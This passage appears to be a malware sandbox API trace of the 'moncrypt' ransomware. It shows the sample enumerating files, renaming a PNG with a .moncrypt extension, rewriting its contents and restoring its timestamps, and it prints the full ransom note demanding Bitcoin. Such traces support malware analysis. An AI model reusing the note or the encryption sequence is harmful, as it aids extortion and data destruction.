cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0052.559] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.559] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.559] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.559] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.559] GlobalUnlock (hMem=0x440004) returned 0 [0052.559] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.559] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.559] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.559] GlobalUnlock (hMem=0x440004) returned 0 [0052.559] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.559] GlobalUnlock (hMem=0x44000c) returned 0 [0052.559] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.559] CharLowerBuffW (in: lpsz="PIXEL.INF", cchLength=0x9 | out: lpsz="pixel.inf") returned 0x9 [0052.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", lpUsedDefaultChar=0x0) returned 71 [0052.560] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\PIXEL\\PIXEL.INF", lpUsedDefaultChar=0x0) returned 4 [0052.560] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.560] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.560] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.560] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.560] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.560] GlobalUnlock (hMem=0x44000c) returned 0 [0052.560] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.560] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.560] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.560] GlobalUnlock (hMem=0x44000c) returned 0 [0052.560] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.560] GlobalUnlock (hMem=0x440004) returned 0 [0052.560] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.561] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 73 [0052.561] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0052.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\PIXEL\\PREVIEW.GIF", lpUsedDefaultChar=0x0) returned 4 [0052.561] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.561] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.562] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.562] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.562] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.562] GlobalUnlock (hMem=0x440004) returned 0 [0052.562] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.562] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.562] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.562] GlobalUnlock (hMem=0x440004) returned 0 [0052.562] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.562] GlobalUnlock (hMem=0x44000c) returned 0 [0052.562] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.562] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNGy", lpUsedDefaultChar=0x0) returned 74 [0052.563] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\PIXEL\\THMBNAIL.PNGy", lpUsedDefaultChar=0x0) returned 4 [0052.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.563] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.563] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.563] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.moncrypt")) returned 1 [0052.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.565] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.565] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x54f1 [0052.565] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.565] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.567] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.567] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.567] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.567] GlobalUnlock (hMem=0x440004) returned 0 [0052.567] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.567] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.568] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.568] GlobalUnlock (hMem=0x440004) returned 0 [0052.568] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.568] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.568] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.568] GlobalUnlock (hMem=0x44000c) returned 0 [0052.568] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.568] GlobalUnlock (hMem=0x440004) returned 0 [0052.568] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.568] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.568] GlobalUnlock (hMem=0x440004) returned 0 [0052.568] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.568] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.568] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.568] GlobalUnlock (hMem=0x440004) returned 0 [0052.568] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.568] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.568] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.568] SetFilePointer (in: hFile=0x18c, lDistanceToMove=21745, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x54f1 [0052.568] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.569] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.569] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.579] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.579] CloseHandle (hObject=0x18c) returned 1 [0052.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.580] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.580] CloseHandle (hObject=0x18c) returned 1 [0052.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.581] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.581] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.581] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.581] GlobalUnlock (hMem=0x440004) returned 0 [0052.581] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.581] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.581] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.581] GlobalUnlock (hMem=0x440004) returned 0 [0052.581] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.581] GlobalUnlock (hMem=0x44000c) returned 0 [0052.581] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.581] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40830f80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40830f80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40830f80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.581] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.581] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.581] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.582] CreateFileW 